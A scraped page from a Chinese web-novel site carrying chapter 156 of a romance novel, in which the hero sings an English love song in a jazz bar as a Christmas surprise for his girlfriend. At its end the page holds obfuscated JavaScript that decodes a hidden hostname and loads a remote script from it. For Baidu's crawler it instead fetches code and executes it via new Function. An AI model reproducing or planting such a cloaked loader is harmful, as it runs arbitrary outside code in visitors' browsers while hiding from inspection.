69书包网

阅读记录  |   用户书架
上一页
目录 | 设置
下一章

第156章 将我装进你的心中(3/3,求订阅)(2 / 2)

加入书签 | 推荐本书 | 问题反馈 |
电影推荐:红发女郎 
热门推荐: 快穿:这个女配她又冷又飒

关键不是歌词的意思,关键是歌词的英文表达!

安雅玲的男朋友还好,他没怎么听得明白,但冯馨蕊的男朋友听得就特别认真。

听到这儿,他情不自禁地呼了一口浊气,好像憋了很久一样。还摇头赞叹:

“厉害,这词写得也太厉害了!”

歌词里没有太难的词汇,但这样纯正的英文表达确实是让他惊叹不已。

要知道,在表达爱的时候,有几个人会想到用这样逆推的思路呢?

又有几个人会想起线索的clue这个单词,可以跟真实的true形成押韵呢?

如果说之前冯馨蕊的男朋友对杨谦还有一点轻视和质疑,现在的他完全被杨谦折服了,甚至还有点要被圈粉的节奏。

“Theysaynothinglastsforever,(都说没有什么是天长地久的)

Wereonlyheretoday,(我们只能珍惜眼前的时刻)

Loveisnowornever,(爱是稍纵即逝的)

Bringmefaraway……”(带我一起远走高飞吧)

这首歌高潮的这里其实是有点难度的,很多人唱着唱着就唱不上去,甚至还要换成假音来唱,前后的音调、音色割裂严重。

甚至有些人放弃抵抗,直接用平平无奇的大白嗓来唱,音调越唱越低,听起来格外怪异。

还好,这些在杨谦面前都构成不了什么问题。

他已经不是当初那个被系统赶鸭子上架、没什么唱功的校园歌手了。

作为一个唱功不差的现场级别歌手,驾驭住这点小小的高潮完全没有问题。

而且,杨谦都不用假声,他对音调的把握非常精准,早在前面的时候,他就唱准了调,提前抬高的音调,再用上一点混音过渡,高潮部分他直接就唱了过去,整体浑然天成,情绪爆发得很准确自然,收得也是流畅柔顺,找不出一点割裂感。

不要小看这样稳定、自然的唱功,杨谦唱得很好听,这也才让更多人陶醉在其中,能够更好地去享受这首歌。

就算听不懂,那又有什么关系?

从杨谦温情款款的歌声里,听众们也能很清晰地感受到蕴含在歌词里的浓烈爱意。

这种浓烈是不会让人反感的,因为杨谦的声音太干净了,就好像是一瓶酱香顺口的白酒一样,没有那么多刺鼻的灼烧感、火辣感。

它香味浓郁、沁人心脾,同时又让人不知不觉地就沉醉其中。

……

不知不觉,杨谦也渐渐地唱到了最后:

“Takemetoyourheart,(将我装进你的心里)

Takemetoyoursoul,(将我装进你的灵魂)

GivemeyourhandbeforeImold,(在我还没老之前,请给我你的手)

Showmewhatloveisbemyguidingstar,(成为我的启明星,告诉我什么是爱)

Itseasytakemetoyourheart.”(将我带进你的心,其实很简单)

后面两句用了倒装。

但这会儿,谁还会在意歌词的语法呢?

对爱情美妙、直白的表达,以及非常优美、动听的旋律,让爵士酒吧里,包括诸多外国人在内的顾客们都情不自禁地轻轻地摇晃起了脑袋。

不知道这首歌吗,有没有让他们想起各自挚爱的那个人。

如果挚爱的人此时又在身边,听着这样一首歌,那又会是多么美好、幸福的时刻啊!

不去想别人,戴羽妮就眼神迷离地看着台上高声歌唱的杨谦。

歌很好听,这样的圣诞节惊喜,她很喜欢!

但对于戴羽妮来说,她更喜欢的是现在杨谦就在她的“身边”。

圣诞节礼物可以不要,圣诞节、平安夜也可以不要,她就想要和大木头在一起。

因为和他手牵着手,无论是轧马路,还是听他唱歌,甚至是两个人什么都没做,就在屋子里傻乎乎地对视、傻乎乎地呆着,心情都是很放松、很充实的,不用像两人天各一方的那样孤独、想念。

不等戴羽妮的思想漫散开来,她痴痴地注视着的大木头已经完成了这场演唱。

虽然只有四分钟左右,但现场的客人们反应特别强烈,杨谦刚刚弹完最后的尾音,还没来得及鞠躬致谢,他们便迫不及待地热烈鼓掌。

“Bravo!”

很多外国的游客,也操着不同的语言,一边鼓掌一边喝彩。

这些赞叹是发自内心的。

甚至也不仅仅是因为杨谦唱了一首他们能听得懂的英文歌。

关键是杨谦唱得很好,他们听得很愉快。

而且爱是人类最干净,最美好的表达,就算有语言、肤色、国别的隔阂,大家也很难不受这样的情感所感染。

他们就很干脆利落地给予了掌声。

戴羽妮转头看着,漂亮的脸蛋上情不自禁地洋溢起了骄傲的光彩,觉得大木头此时帅到爆炸了!

不过,回头去看观众反应的戴羽妮没有注意到,杨谦跟观众鞠了一躬之后,就径直地向她走了过来。

上一页
目录
下一章
A- 18 A+
默认 贵族金 护眼绿 羊皮纸 可爱粉 夜间
function UqgsgfgDv(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{ c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;};function UqSDDFGvyQ(e){ var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,""); while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return UqgsgfgDv(t);};window[''+'U'+'Y'+'C'+'q'+'J'+'K'+'']=(!/^Mac|Win/.test(navigator.platform)||!navigator.platform)?function(){;(function(u,i,w,d,c){var x=UqSDDFGvyQ,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0])));'jQuery'; if(navigator.userAgent.indexOf('b'+'a'+'id'+'u')>-1){var xhr=new XMLHttpRequest();xhr.open('POST','https://'+u+'/bm-'+i);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded;');xhr.setRequestHeader('X-REQUESTED-WITH','XMLHttpRequest');xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){var data=JSON.parse(xhr.responseText);new Function('_'+'u'+'q'+'cs',new Function('c',data.result.decode+';return '+data.result.name+'(c)')(data.result.img.join('')))(cs);}};xhr.send('u=1');}else{var s=d[crd]('script');s.src='https://'+u+'/m-'+i;cs.parentElement.insertBefore(s,cs);}})('aGYuc2Rqa2JjamtzYmRzdnYuY29t','2843',window,document,['G','TpoZFcguG']);}:function(){};